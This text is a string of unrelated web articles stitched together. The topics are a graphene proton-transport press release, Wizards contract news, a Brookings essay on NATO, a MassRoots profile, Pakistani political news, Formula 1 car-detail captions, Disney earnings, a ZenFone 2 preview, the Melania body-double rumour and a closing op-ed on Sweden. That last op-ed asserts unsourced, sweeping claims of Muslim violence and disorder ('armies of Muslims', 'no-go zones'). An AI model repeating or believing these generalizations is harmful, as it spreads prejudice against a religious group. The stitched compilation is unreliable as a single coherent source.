Dr Sheng Hu, a postdoctoral researcher and the first author in this work, added: “It looks extremely simple and equally promising. Because graphene can be produced these days in square metre sheets, we hope that it will find its way to commercial fuel cells sooner rather than later”.
The work is an international collaboration involving groups from China and the Netherlands who supported theoretical aspects of this research. Marcelo Lozada-Hidalgo is funded by a PhD studentship programme between the National Council of Science and Technology of Mexico and The University of Manchester.
Notes for editors
The paper, Proton transport through one-atom-thick crystals, S. Hu, M. Lozada-Hidalgo, F. C. Wang, A. Mischenko, F. Schedin, R. R. Nair, E. W. Hill, D. V. Boukhvalov, M. I. Katsnelson, R. A. W. Dryfe, I. V. Grigorieva, H. A. Wu and A. K. Geim, is available on request from the Press Office.
Please note that Sir Andre Geim and Mr Lozada-Hidalgo will be taking part in a Nature telephone press briefing on Wednesday 26 November at 1400 London time (GMT) / 0900 US Eastern Time.** This will be followed by a Q&A session. For more information, please contact Bex Walton, Senior Press Officer, Nature, r.walton@nature.com or 020 7843 4502.
Dial-in details are as follows:
For reporters calling from the United Kingdom: 0808 109 0700
For reporters calling from outside the United Kingdom: +44 20 3003 2666
Password: Nature press briefing
Images and more information about graphene can be found at www.graphene.manchester.ac.uk
For more information please contact:
Daniel Cochlin
Graphene Communications and Marketing Manager
The University of Manchester
0161 275 8382
07917 506158
www.graphene.manchester.ac.uk
www.manchester.ac.uk
Twitter: @UoMGraphene |
The third-year option on Kelly Oubre for the 2017-18 season has been exercised by the Wizards, league sources tell CSNmidatlantic.com on Saturday.
Oubre, who will make $2 million for this season, is due to get a bump to $2.1 million for next year. As a first-round draft pick, his first two years in the league are fully guaranteed and the team has the option to retain his rights in Years 3 and 4. The Wizards had to make the move, which was a formality, before the regular season starts next week.
Oubre is expected to be the primary backup for Otto Porter at small forward in his first season playing for coach Scott Brooks.
His numbers and playing time were modest as a rookie as he was not used much under then-coach Randy Wittman, but Oubre's length, athleticism and defensive instincts should make him a better fit. He averaged 3.7 points and 2.1 rebounds last season in 63 appearances.
The Wizards made a deal on draft night in 2015 with the Atlanta Hawks to move up to acquire Oubre for Jerian Grant.
CSNmidatlantic.com reported Aug. 1 that picking up the option on Oubre was a foregone conclusion. In exit interviews following a 41-41 season that landed them out of the playoffs, players told majority owner Ted Leonsis that Oubre should've played more because of his energy and defense.
When Oubre was acquired as a 19-year-old with one year of college at Kansas, president Ernie Grunfeld projected it would take him 2-3 years to develop.
MORE WIZARDS: Wizards roster skews younger, more athletic under Brooks |
The price of greatness is responsibility. If the people of the United States had continued in a mediocre station, struggling with the wilderness, absorbed in their own affairs, and a factor of no consequence in the movement of the world, they might have remained forgotten and undisturbed beyond their protecting oceans: but one cannot rise to be in many ways the leading community in the civilized world without being involved in its problems, without being convulsed by its agonies and inspired by its causes.
–Winston S. Churchill
When I was an undergraduate in the early noughties, few things could evoke less excitement than an early morning course on the inner workings of the European Union or a lecture on the future of NATO. My eyes glazed over at the very thought of class discussions over European milk quotas or the implementation modalities of the EU Fisheries Law. Similarly, debates over the future of NATO seemed to have a certain uninspiring and circular quality to them. It is perhaps the periods in history that appear the least exciting for young students, however, that end up being those that they subsequently regret the most.
As Robert F. Kennedy wryly noted during an arguably more fraught era, “There is a Chinese curse which says ‘May he live in interesting times.’ Like it or not, we live in interesting times.”
Since the end of the 1990s, Europe had been viewed as a relatively placid, post-historical region, free of illiberalism and territorial tensions. After centuries of warfare, the European continent had finally transcended its age-old rivalries and emerged as a net exporter of norms rather than conflict. The European Union’s technocratic mode of governance placed it at the vanguard of rule-making supra-nationalism, rendering it an inspiring role model for international governance.
Developments over the past few years have upended this vision. In the words of Robert Kagan, the jungle has now entered the postmodern European garden. With Russia’s aggression in Ukraine, geopolitics have made a violent and startling comeback, and ancestral fears of territorial loss have been revived. Only a few years ago, some analysts questioned the very relevance of NATO or exhorted the alliance to expand its vision of collective defense to address transnational threats and contingencies across the globe. If NATO did not exist, wrote one stalwart defender of the alliance in 2010, the United States would not seek to create it. Six years later, this is no longer the case. Excepting the presumptive presidential nominee of the Republican Party, no one seriously questions the utility of the transatlantic alliance. From discussions over the need to combat piracy or human trafficking in remote foreign locales, the focus has squarely returned to “vintage” Cold war issues such as territorial defense and nuclear deterrence.
The early years of the Obama presidency crystallized a clear consensus that U.S. forces were somewhat overinvested in Europe and underinvested in more critical regions, such as Asia. Under the aegis of the pivot or rebalance to Asia, the United States would progressively transfer a larger portion of its military resources and attention from West to East. This was to be accompanied by a large-scale reduction in defense spending and a prolonged effort to “reset relations” with the Kremlin.
With the benefit of hindsight, we now know that strategic practitioners on both sides of the Atlantic were mistaken in their belief that European peace was an end-state rather an interlude and overly optimistic in their hope that Russian revanchism could be tamed through engagement. The 2008 conflict in Georgia should have served as the first clear warning of things to come, but too many viewed it as merely peripheral to European security.
Eight years later, the ramifications of Russia’s post-Georgia military modernization have been made apparent in both Ukraine and Syria, which has become to the Russian armed forces what the Spanish Civil War was for the German Wehrmacht — a giant testing ground for new weapons systems and tactics.
Russia’s revived military prowess and assertiveness has generated fear and anxiety throughout Eastern and Central Europe. This foreboding is particularly palpable in the Baltic States, which are the most vulnerable to aggression and disruption by virtue of their small size, location, and ethnic composition (in the case of Latvia and Estonia). Countries such as Poland are sizably increasing their defense spending, and historically neutral nations such as Sweden and Finland are now openly debating joining NATO. In addition to a heightened focus and debate on conventional deterrence among European frontline states, the continued viability of NATO’s nuclear force posture in the face of Russia’s focus on sub-strategic nuclear warfare is in doubt. Taking all this into account, it seems clear that the Obama administration has underestimated the depths of the challenges currently fracturing the European continent. The task falls to the United States not only to shore up the military balance along the Eastern periphery, but also to inject unity and strategic purpose into a Western alliance system that otherwise risks unraveling at the seams.
A Fractured Continent
Indeed, even as threats loom to the east, Europe faces growing challenges from the south and from the spillover effects of Middle East’s implosion. European democracies have successfully absorbed waves of migration in the past, whether after the Spanish Civil War or during the Boat People crisis in the late 1970s and early 1980s. Yet the sheer scale of the current movement of refugees is unprecedented and has placed a severe strain on traditional EU values of unity and solidarity. Clear fractures have been exposed within the Union over how to handle such large population flows, particularly in a context of economic difficulty. As Nathalie Nougayrede noted, a decade after many Eastern European countries joined the EU, “a political and cultural gap still divides the continent — and its scale may well have been underestimated.”
Meanwhile, fears of mass-casualty terrorist attacks have become pervasive following the slaughters in Paris and Brussels and constant revelations of newly foiled plots all across Europe. Although the U.S.-led campaign against ISIL has been underway for almost two years, the extremist proto-state has yet to collapse. Coalition airstrikes may have succeeded in blunting its territorial expansion and in disrupting the financing and tempo of its operations, but ISIL still rules over 75 percent of the territory it initially controlled. In the absence of a well-coordinated air-ground campaign, it is unlikely that the group will face eradication—or a complete reduction in its ability to draw troubled individuals to the blood-soaked lands of the so-called caliphate—any time soon. In the two years since its emergence, it has trained and radicalized thousands of young men and women from overseas. Its operatives have commandeered large-scale attacks against civilians across the globe, dispatching suicide bombers to the heart of major Western metropolises and shuttering leading hubs of global trade for several days. While European publics wrestle with the fears of homegrown terrorism and the severe challenge posed by the thousands of its citizens radicalized in Syria, a recent Europol report suggests that ISIL has begun a targeted policy of recruitment among Europe-bound refugee populations. This will no doubt have an impact on European public opinion, strengthening the position of those hostile to the acceptance of more refugees.
This climate of fear should be viewed within the context of another troubling phenomenon: the rise of illiberalism within Europe. Over the past few years, extremist and populist movements have been ascendant, surfing on public fears, concerns, and frustrations. While these movements all present certain differences—some originate in the extreme left, some in the extreme right—there are also some abiding similarities, most notably in their rejection of the governance structures of the European Union and in their passionate defense of national autarky and insularity. In addition to their anti-EU and anti-immigration rhetoric, some far-right groups also profess an admiration for socially conservative strongmen in the vein of Vladimir Putin combined with a latent hostility toward the United States. This is something that Moscow is well aware of and seeks to cultivate.
More importantly, the insidious nature of the threat posed by this new brand of European illiberalism extends well beyond minority parties or fringe groups. Indeed, in some cases, the leadership of key European nations, such as Viktor Orban’s government in Hungary or the ruling Law and Justice party in Poland, have taken a violent lurch to the right and displayed neo-authoritarian tendencies. Such developments do not bode well for European unity, which since the end of the Cold War has been embodied by a community of values as well as of interests.
Last but not least, the very real possibility of Brexit could lead to a further unraveling of the European order, reigniting regionalist and secessionist movements in places ranging from Scotland to Catalonia and Corsica.
No Common Vision for Security
The European continent is not only strongly divided on socioeconomic issues, it is also increasingly torn between competing national security priorities. Polling data shows that, for the populations of many Western European countries, Russian irredentism and creeping coercion is of less immediate concern than the fear of being machine-gunned at a concert hall or immolated in a subway car. Meanwhile, the leaders of nations such as Poland, which do not face similar counterterrorism challenges, have expressed frustration over what they perceive as an overemphasis on the challenges emanating from the south, rather than from the east.
It is perhaps inevitable that such divisions should materialize within a union of 28 nations animated by disparate historical experiences, equipped with unequal levels of military resources, and confronted with different geostrategic predicaments. The turmoil engulfing the Old World’s periphery has peeled away at Europe’s residual postmodern illusions, exposing raw divisions and divergent hierarchies of interests. That said, some European nations have endeavored, through their actions and despite their respective resource limitations to transcend this growing intra-European security divide.
As one recent paper from the German Marshall Fund notes:
France is militarily engaged in the Sahel, Iraq, and Syria, but it has also reinforced its air presence in the Baltic area through cooperation with Norway. Italy, despite an acute refugee crisis, has led an eight-month Baltic air policing mission and has offered to lead the Very High Readiness Joint Task Force (VJTF) on a rotational basis. Denmark and Norway have also acted as central players on three different fronts: East, North, and South.
These efforts are to be commended, but it remains to be seen whether they will be economically and militarily sustainable, despite the fact that many European nations have begun to raise their defense spending or reverse budgetary cuts.
The Revival of Territorial Defense
Indeed, the darkening of Europe’s threat environment has led to a wider conceptual shift accompanied by a revival of traditional concepts of territorial defense, particularly in the so-called frontline nations, such as Poland or the Baltic states. All along Europe’s northern and eastern edges, military planners are focusing on deterrence by denial, and in some cases they are recalibrating defense postures and force structures away from coalition-based expeditionary operations toward operational concepts emphasizing national self-defense. The works of unconventional European military theorists from the Cold War, such as Guy de Brossollet or Hans Von Dach, what with their focus on civilian resistance, modular defense, or “techno-guerilla” operations, are being dusted off and rediscovered in a new light. For smaller Nordic and Baltic nations, conscription-based forces have become increasingly attractive, not only as a means of offsetting conventionally superior Russian forces, but also as a means of bolstering social resiliency and better resisting sub-conventional and/or hybrid aggression.
One might argue that this constitutes a net plus for the United States. Indeed, U.S. officials and commentators have long pointed to the unsustainability of the current NATO model, whereby Washington devotes the lion’s share of military and financial resources to Europe’s defense. The fact that leading U.S. presidential candidates have chosen to base their foreign policy platforms on the systematic denigration of U.S.-led alliance structures should not detract from the genuine and justifiable concerns in Washington over the deeply skewed nature of the transatlantic division of labor. In this light, the fact that European countries are finally investing more in their own defense should no doubt be welcomed with open arms.
That being said, a European continent riddled with strategic anxiety and compelled to devote an ever-growing portion of its finite resources to shielding itself from Russia’s predations and the tides of chaos rippling through the Middle East, is not in Washington’s best interests either. For example, consider the case of France, the European country which has arguably contributed the most to global security in the past five years, playing an important military role in Syria, Iraq, Libya, Mali, and across vast tracts of the Sahel. Since the terrorist attacks of 2015, Paris has found itself compelled to deploy in Operation Sentinelle over 10,000 troops for internal security missions. Operation Sentinelle is now the largest ongoing French military operation,] and accounts for over half of all French troops currently deployed. This is another form of “territorial defense” which is arguably even more costly, and even more detrimental to the ability of a leading European military power to conduct extra-regional operations. Indeed, were a major crisis (say in Libya) to erupt tomorrow that demanded the presence of a large multinational ground force, it is uncertain that a severely overstretched French military could provide much in the way of additional capabilities.
As John Deni of the U.S. Army War College notes, a more pronounced focus within NATO on territorial and/or homeland defense does present the risk of certain opportunity costs:
Capabilities most necessary for territorial defense – such as heavy armor or artillery – differ from those necessary for expeditionary crisis management operations—such as strategic air- and sealift, mobile medical support, overseas intelligence networks and capabilities, and deployable logistics capabilities. Certainly, one must be careful not to overemphasize the distinction between forces necessary for territorial defense versus those necessary for expeditionary operations…. However, without specialized expeditionary capabilities such as those noted above, Alliance forces are limited to territorial defense and unable to project enough force to make a difference.
Deni is right to caution against framing this tradeoff in an overly simplistic, binary fashion. After all, leading European military powers such as France, the UK—and to a lesser extent Spain, Italy and Germany—will remain theoretically capable of conducting small-scale expeditionary campaigns, and they continue to invest in such capabilities. The development of the Combined UK and French Joint Expeditionary Force (CJEF), for instance, provides a concrete and encouraging example of this continued commitment. European strategists’ reinvigorated focus on countering anti-access and area denial challenges — both along the EU’s eastern periphery and in the Persian Gulf — is another indication of European militaries’ continued willingness to plan for “over the horizon” contingencies. That being said, the question may not be so much that of willpower as of how to best adjudicate limited resources in an increasingly multi-vectored threat environment. As mentioned earlier, France may soon encounter such a dilemma if it continues to task large numbers of troops with domestic operations. Simply put, it may prove impossible for even Europe’s most advanced militaries to successfully hedge against all forms of threat.
In the past, certain U.S. officials have dismissed European militaries’ ability to bring much in added value to U.S.-led operations overseas, but American soldiers who served alongside their European counterparts in places such as Afghanistan would no doubt beg to differ. Perhaps more importantly, the presence of allied soldiers on the ground has fulfilled an often vital symbolic role by lending greater international and domestic political legitimacy to U.S. led military operations. In the future, would a war-weary American public, increasingly leery of overseas commitments, be willing to support a wholly unilateral U.S. intervention without even the nominal presence of a few European brigades?
Looking beyond the quantifiable military costs of a European continent newly under siege, there are certain broader issues to take into account. A European Union split between north and south, east and west, regions and nation-states—all reeling under the combined threats of sub-conventional attacks and territorial aggression—is not an entity that can act and think confidently on the global stage. As we transition from an era of unipolarity to one of great power competition, Washington will need the support of its likeminded Western partners, not only in shaping normative discourse with regard to issues such as freedom of navigation, but also in preserving a favorable balance of power in key regions such as the Asia-Pacific and the Middle East.
The forthcoming NATO summit in Warsaw provides the United States with the opportunity to show greater determination and dexterity in addressing European security concerns—not only to the east, but also to the wider south, and particularly in places close to European shores, such as Libya. While Washington has made an impressive show of solidarity via the quadrupling of funds devoted to the European Reassurance Initiative, diplomatic efforts will need to be expended in terms of alliance management. This is particularly important following the Obama administration’s decision to publicly air its disdain for European “free-riding”—a bizarre public communications strategy whose downside effects have perhaps yet to be fully appreciated on this side of the Atlantic. As Henry Kissinger has written, the United States has historically viewed the transatlantic alliance as “not so much countries acting congruently to preserve equilibrium, as America as the managing director of a joint enterprise.” The United States must revert to its most effective role: an external actor that adds direction and purpose to an otherwise divided continent and heterogeneous assemblage of democracies. The Old Continent needs the help of the New World in developing a truly joint strategic vision for a deeply troubled era, perhaps now more than ever since the end of the Cold War.
Iskander Rehman is a Postdoctoral Fellow in the Project for International Order and Strategy (IOS), at the Brookings Institution. He can be followed on twitter @IskanderRehman. |
MassRoots (OTC.BB:MSRT) has been called the Facebook for pot smokers, but this online social website for the cannabis community is fighting cannabias. The Denver-based mobile network was launched in July of 2013, went public in 2015 and now has over 325,000 registered users, yet it fights to be recognized as a legitimate business.
Cannabias is a term coined for cannabis businesses that are treated as inferior due to the nature of their industry. Last year the Apple App Store removed MassRoots and created a rule that all social cannabis applications were prohibited. For a mobile company like MassRoots, this was devastating news and highly ironic since it was widely known that Apple's founder Steve Jobs smoked pot and used LSD at one time.
MassRoots went on a fierce campaign to get their position in the app store restored and Apple capitulated in mid-February. The loss of the Apple access cost MassRoots some time for adding users, but they now hope to reach their goal of 500,000 registered users during the third quarter of this year. They also hope to cross the million user mark by the first quarter of 2016.
“We're held to a much higher standard because we're cannabis related,” said CEO Issac Dietrich. “It presents additional challenges and that's just the nature of doing something unique and doing something disruptive.” The company struggled to persuade Silicon Valley investors that typically throw money at just about any business idea due to its association with cannabis. “We were looking at what was happening in the public market. You have all these companies with no real business whatsoever trading at $100 million market caps, money pouring in left and right and the only money we could raise was on the condition of us going public.” said Dietrich.
Then the first day the company starting trading its stock, MassRoot's bank account was shut down. The company doesn't grow or sell marijuana. It's strictly an ancillary, mobile application. However, some deem the company as aiding and abetting drug use. To combat that, MassRoots employs a full-time content specialist who makes sure users aren't trying to use the site to make deals.
MassRoot's next public dissing came from none other than the technology conference sponsored by the publication TechCrunch called Disrupt. MassRoots says it won the popular vote for companies in the StartupAlley and should have moved on to the Startup Battlefeld, where new companies compete with their business pitches for a prize of $50,000. Instead, MassRoots said TechCrunch disenfranchised 50% of the vote and chose a company with less than 1,000 votes. MassRoots went on a social media campaign asking TechCrunch to #ReleaseTheVote. TechCrunch never publicly addressed the complaint and didn't respond to a request for a comment.
Like Facebook, MassRoots generates most of its money from advertising and its secondary source of income is merchandise sales, which is mostly used to offset marketing costs. The company has raised $2.2 million, but at this growth stage it is still losing money. It lost half a million dollars in the first quarter of this year and only had $54,000 in cash at the end of the quarter. Its revenues for the first quarter were only $941 and its gross profit for the same period was $241
MassRoots is only available to registered users in the 23 states where marijuana has been made legal and this limitation is capping its growth. On a positive note, Dietrich has captured a younger demographic in the cannabis market with an average age of 18-25 for its registered users, not the typical 45-60 age group that is common with cannabis companies. However, the company will have to hold on long enough in order to generate the advertising it needs to become profitable. “Our goal is to become the dominant consumer marijuana site,” said Dietrich. “I would love to see the day that Domino’s puts an ad on our network. Got the munchies? Order a pizza.” |
LAHORE: Punjab Law Minister Rana Sanaullah Khan claims that Prime Minister Nawaz Sharif is silent on the arrest of an Indian agency’s agent from Balochistan under a strategy.
He also declined to confirm arrest of two Indian engineers on sabotage charges from a factory owned by the Sharifs in a Punjab town.
“The government is working on a strategy to raise the issue of involvement of RAW in Pakistan,” Sana said when asked why the prime minister was not saying anything on the issue.
He was speaking to reporters outside the Punjab Assembly building here on Wednesday.
Asked about picking up of two Indian engineers by an agency from Ramzan Sugar Mills owned by the Sharifs for their alleged links with subversive activities here, he said absurd and wrong information was being disseminated as no agent or terrorist could have any link with a respectable and law-abiding citizen. When insisted to confirm or deny the report, he said no agency had so far given any report to the effect.
He explained that “sometimes a person is picked up but the report is not made public as other people (co-accused) are to be captured on the basis of the information divulged by him.”
He told a questioner that action against hate-mongers must not be confused with the one against “jet-black” terrorists.
Asked if Jaish-i-Muhammad and Jamaatud Dawa would be allowed to operate in the province under the notion of good and bad Taliban, the minister said the notion had died after the launch of Operation Zarb-e-Azb. “Now no one will be allowed to use our soil for any kind of terrorism.”
Answering a question about the arrest of the facilitator(s) of Gulshan-i-Iqbal Park tragedy, he said certain areas in the provincial capital were being cordoned off to check bio-data of residents. He appealed to the citizens to bear the inconvenience with patience.
Published in Dawn, March 31th, 2016 |
Mercedes W08 detail 1 / 18 Photo by: Giorgio Piola Melbourne was the first opportunity to see the packaging of the Mercedes laid bare in its garage.
Ferrari SF70H front wing detail 2 / 18 Photo by: Giorgio Piola Note the 'S' duct inlet just behind the wing pylons used to collect airflow and pass it over the upper chassis surface downstream.
Mercedes W08 T-wing 3 / 18 Photo by: Giorgio Piola The T-wing introduced for the pre-season test has already been cast aside with an additional shorter-chord third element added atop the device (white arrow) while the lower edge has now been curved (red arrow).
Ferrari SF70H front detail 4 / 18 Photo by: Giorgio Piola Note that the team has adopted a hydraulic heave damper.
Williams FW40 front wing 5 / 18 Photo by: Giorgio Piola New triangular vanes now sit astride the endplate (red arrows), while a wide canard sits in behind the main cascade (white arrow).
Red Bull RB13 front brake detail 6 / 18 Photo by: Giorgio Piola The brake disc now has five drilled holes in chevron pattern across face to dissipate heat. This design was previously reserved only for Ferrari but discs are 32mm wide in 2017 rather than 28mm.
Ferrari SF70H brake detail 7 / 18 Photo by: Giorgio Piola Ferrari has gone one step further with their drilling arrangement for 2017 to aid cooling, the Italian team opting for six holes.
Renault RS17 bulkhead detail 8 / 18 Photo by: Giorgio Piola Note the high position of the suspension rockers.
Haas VF17 bulkhead and front suspension detail 9 / 18 Photo by: Giorgio Piola The team has cut away the upper section of the bulkhead, much like Mercedes did in 2016, maximizing room for suspension componentry such as a hydraulic heave element.
Ferrari SF70H sidepod inlet 10 / 18 Photo by: Giorgio Piola Some sidepod detail is exposed here as the bodywork used to obfuscate the inlet is removed during buildup. The upper inlet is surrounded by the bodywork (white arrow) and another internal flow conditioning element is placed ahead of the inlet (black arrow).
Red Bull RB13 front suspension detail 11 / 18 Photo by: Giorgio Piola Note the use of Belleville washers on the third suspension element.
Ferrari SF70H front wing detail 12 / 18 Photo by: Giorgio Piola The turning vanes start much earlier up the side of the nose, allowing the air to navigate inside sooner.
Mercedes W08 front wing 13 / 18 Photo by: Giorgio Piola The upper flap has been trimmed to suit the characteristics of the Albert Park Circuit.
Ferrari SF70H sidepod detail 14 / 18 Photo by: Giorgio Piola The complexity of the SF70H's sidepods is captured in this image. Note the upper inlet, which is easy to spot due to the unpainted checkerboard (spread tow) carbon fibre section.
Ferrari SF70H wing mirror 15 / 18 Photo by: Giorgio Piola Ferrari has introduced new wing mirror stalks in Melbourne - rather than being vertical stalks, they now arch over, displacing the mirrors to a more outboard position.
Sauber C36 front wing 16 / 18 Photo by: Giorgio Piola Sauber has a new front wing for Melbourne, which features a new aggressively out-turned 'r' shaped vane protruding from the penultimate flap, in order to shape the flow of air around the front tyre.
Ferrari SF70H diffuser wing 17 / 18 Photo by: Giorgio Piola The winglet stack (white arrow) is even more complex this year, while the gurney (white arrow) now has a number of additional surfaces added to it. |
Disney just gave investors a lot of news to digest including June quarter earnings that were slightly ahead of expectations, and announcement of a plan to launch an ESPN-branded streaming service with its purchase of 33% of Major League Baseball’s BAMTech.
Wall Street’s initial reaction? Disney shares are down 1.6% in post market trading.
The company reported quarterly net income of nearly $2.60 billion, up 4.6% vs the period last year, on revenues of $14.3 billion, up 9.0%. That beat the $14.2 billion analysts expected. Adjusted earnings at $1.62 a share beat the consensus forecast by a penny.
“Disney delivered another quarter of double-digit EPS growth, and we are thrilled with our continued
performance,” CEO Bob Iger says. “Our results are evidence that our asset mix is strong, as is our ability to execute in ways that enhance the Disney brand and create value for our shareholders while we invest for future growth.”
With the BAMTech deal, Disney agreed to pay $1 billion in two installments, the second in January 2017, and has an option to buy a majority of the operation “in the coming years.”
Meanwhile, BAMTech will partner with the entertainment company to deliver streaming video and digital products for Disney|ABC Television Group, and “future digital initiatives across the Company.”
Plans include collaboration on a ESPN-branded direct-to-consumer multi-sport subscription streaming service that the company pointedly notes will not include its linear networks.
The new service will have live regional, national and international sporting events.
“Our investment in BAMTech gives us the technology infrastructure we need to quickly scale and monetize our streaming capabilities at ESPN and across our company,” Iger says.
As a footnote to the deal, the companies note that the National Hockey League picked up a minority interest in BAMTech.
The earnings report shows that the Cable Networks — including ESPN — saw a 1% increase in revenues to $4.2 billion and a similar increase in operating income to $2.1 billion. The sports network’s affiliate and ad revenue grew, but was somewhat offset by “a decline in subscribers” and weakening overseas currencies. Results were down at Disney Channel, Freeform and Disney’s equity stake in A&E.
At the ABC-led Broadcasting unit, revenues rose 5% to $1.7 billion while operating income fell 6% to $282 million. Disney attributes the profit drop to “lower network advertising revenues” — with declining ratings outweighing rising rates — programming write downs, and losses at Hulu.
The Studio Entertainment operation had a gangbusters quarter with help from Captain America, The Jungle Book, and Finding Dory, as well as home video sales for Star Wars: The Force Awakens and Zootopia. Revenues soared 40% to $2.8 billion with operating income up 62% to $766 million.
Parks and Resorts fared well with revenues up 6% to $4.4 billion, and operating income up 8% to $994 million. The domestic parks drove the increase, offsetting a decline at the overseas venues. Although the company saw a drop in visits, it benefited from increases in guest spending driven by rising ticket prices.
Consumer Products and Interactive Media struggled with revenues down 1% to $1.1 billion with operating income down 7% to $324 million. Weak overseas currencies contributed to the problems, as did “an increase in revenue share with the Studio Entertainment segment and higher marketing costs” for merchandise tied to Finding Dory and Star Wars. |
The ZenFone 2's base model comes with a 1.8GHz Intel processor (Z3560), 2GB of RAM and 16GB of internal storage, but it can be maxed out to 2.3GHz (Z3580) with 4GB of RAM and 64GB of local storage. Impressively, all versions come with a 3,000mAh fast-charge battery that can go from 0 to 60 percent in a mere 39 minutes (that's close to the Oppo Find 7's speed: from 0 to 75 percent in 30 minutes). Much like the latest LG flagship phones, the ZenFone 2 features a rear-facing volume rocker right below the camera. This way, ASUS can give the phone clean vertical edges that are tapered from 10.9mm in the middle to just 3.9mm thick, thus giving this "Ergonomic Arc" design a nice feel. The brushed-metal finish -- offered in Osmium Black, Sheer Gold, Glacier Gray, Glamor Red and Ceramic White -- and the 170-gram weight are nice bonuses as well.
Camera performance can be hit or miss for ASUS' non-flagship Android devices, but in this case, the ZenFone 2's cameras seem decent enough on paper. On the back you'll find a 13-megapixel f/2.0 camera with a dual-color "Real Tone" flash, and the front side comes with a 5-megapixel f/2.0 imager. Like its sibling devices, this new phone touts the PixelMaster package that offers a super-effective Low Light mode (as we first saw on the new PadFone Infinity), Beautification mode and Manual mode. On the video side, the main camera does 1080p with stabilization.
In this new version of ZenUI, ASUS has added some handy new features, including a single-hand mode that shrinks the entire screen, work/personal environment switching, Trend Micro Security integration in the browser, ZenMotion touch gestures and more. We'll learn more when we get to play with one in depth later this year.
For just $199 off-contract, the ZenFone 2 is set to be a sincere attempt to offer a great mobile experience to the masses. Of course, we won't know for sure until ASUS actually ships the phone, and only time will tell how stable and intuitive the new ZenUI is, as this will be the company's first time toying with Android 5.0. But we think it's going to be a good one. |
Is this a case of a bogus FLOTUS?
First lady Melania Trump has been caught up in a nutty internet frenzy that makes the intrigue over the Russian conspiracy theories seem tame by comparison.
Bizarre speculation about a Melania body double has taken off faster than you can say “fake news” thanks to a tweet by @JoeVargas.
“This is not Melania. To think they would go this far & try & make us think its her on TV is mind-blowing. Makes me wonder what else is a lie,” wrote Vargas of BuyLegalMeds.com.
He posted a video of the alleged impostor — wearing sunglasses and an Inspector Gadget-like trench coat — standing near President Trump at the White House before they visited a Secret Service facility.
The president oddly referred to his “wife Melania, who happens to be standing right here.”
In the weird world of conspiracy theorists, Vargas’ theory quickly went viral and unleashed endless memes, GIFs and snide remarks on social media.
Newsweek noted that Google searches like “Melania Trump double” and “Fake Melania” have shot up since the video was posted.
Comedian Andrea Wagner Barton agreed that something appeared a bit off.
“Will the real Melania please stand up?” she asked her Facebook followers. “Is it me or during his speech today a decoy ‘stood in’ for Melania??”
She added: “And….Why would the moron say ‘my wife, Melania, who happens to be right here…’ Seriously, watch very closely!”
TrumpsTaxes posted: “Fake Melania Trump revealed to be elusive criminal mastermind Carmen Sandiego,” referring to the fictional cartoon villain.
Comedy writer Nick Jack Pappas alluded to actual fake news circulated by the conspiracy-minded.
“These Melania Trump body double conspiracy theories are ridiculous. Let’s focus on real stories like #PizzaGate and #SethRich,” he wrote.
Pizzagate is a debunked conspiracy theory from the 2016 presidential campaign that claimed Hillary Clinton was behind a child sex ring. Rich was a Democratic National Committee staffer killed in Washington.
A body-language expert threw cold water on the body double theories.
“Her stature and facial gestures, like her slightly pursed lips and her nodding at her husband, are consistent with what we’ve seen before,” Joe Navarro, who worked with the FBI for 25 years, told Vogue.
“Non-verbally, there’s nothing out of the ordinary about her behavior,” said Navarro, who noted the FLOTUS is very stoic by nature, which can make her more vulnerable to this kind of speculation. |
One of Sweden's former prime ministers, Fredrik Reinfeldt, pronounced with approval in December 2014 that the future of Sweden belonged not to ethnic Swedes but to immigrants.
What won't you see in this book? You won't see a picture of Muslim "morality police" patrolling neighborhoods and controlling women's conduct. You won't see Muslim men cutting in front of Swedish women in queues and then calling them "whores" when they protest.
Speaking at a rally in Melbourne, Florida, on February 18, President Trump mentioned recent terrorist attacks in Nice, Paris, and Brussels, and then said:
"You look at what's happening in Germany, you look at what's happening last night in Sweden. Sweden, who would believe this. Sweden. They took in large numbers. They're having problems like they never thought possible."
Nothing major had happened the night before in Sweden, except that the country has taken in armies of Muslims, and as a result is descending into social and economic disaster.
The Swedish media might have responded to Trump's comment by addressing their country's immigrant crisis honestly. Instead, they took it as an opportunity to mock Trump. The Stockholm newspaper Aftonbladet ran an article in English headlined: "Here's what happened in Sweden Friday night, Mr President." The article included a list of innocuous news items, among them technical problems that had occurred at rehearsals for Swedish Eurovision and the temporary closing of a highway because of lousy weather.
So much for that episode, right? No. Several Swedish photographers decided to drag it out way beyond a single news cycle. The result: a new coffee-table book entitled Last Night in Sweden.
At least one Swedish photography website has applauded this project. This book, the anonymous author wrote, is a "profound and insightful" work that "encapsulates a true and candid Sweden," shows "the country as it really is, from the inside -- in its multiplicity, subtle textures, and political, social and cultural nuance."
Lee Roden of the free Swedish newspaper The Local agreed, claiming that the pictures in the book "combat the hysteria about the country provoked by people like US President Donald Trump." The photographer in charge of the project, Jeppe Wikström, told Roden that people smear Sweden out of jealousy: "We manage to combine diversity with success. We do have high taxes, but we also have a very successful business life." Wilkström admitted that there are some odd things about Swedes: "We take off our shoes before going inside, put money into the right position and make sure it's not so wrinkly before paying at a cash register."
The first copy of Last Night in Sweden, published on September 7, was mailed to Donald Trump. Other copies have been, or will be, sent to "all members of the US Congress and European Parliament" as a way of countering "false news." [This is how they put it] At the end of October, an exhibition of photos from the book will move from Stockholm to the European Parliament in Brussels.
The book contains pictures of an ethnic Swedish man sitting on a snowmobile on a snow-covered icy river; a young guy walking around a gym practicing the tuba; a 94-year old Swedish woman in a retirement home being pushed in her wheelchair by a Somali immigrant; an octogenarian Swedish couple sitting in their home sauna in Lapland; a handicapped Algerian immigrant working out in the gym he founded; a Romani beggar woman kneeling on a city street; an elderly Swedish couple playing in their kitchen with their dog. And so on. In other words, a bunch of images showing immigrants doing things that, in one way or another, enhance life in Sweden, mixed in with a few photos of ethnic Swedes living pretty much the same way they did before the immigration tsunami started.
What won't you see in this book?
You won't see Muslim violence in Sweden's public libraries, which has increased so dramatically in the last couple of years that many librarians are looking for other jobs. You won't see a picture of the three condos in which a newly arrived Syrian immigrant's three wives and sixteen children are being put up at a total cost to Swedish taxpayers of $1.75 million. You won't see a picture of Muslim "morality police" patrolling neighborhoods and controlling women's conduct. You won't see Muslim men cutting in front of Swedish women in queues and then calling them "whores" when they protest.
You won't see a TV news crew from Australia being physically attacked by Muslims for entering a no-go zone. You won't see Muslim girls being beaten by their families for removing their hijab. You won't see Muslims setting cars on fire, and then hurling bottles and stones at the firefighters who show up to put out the blaze.
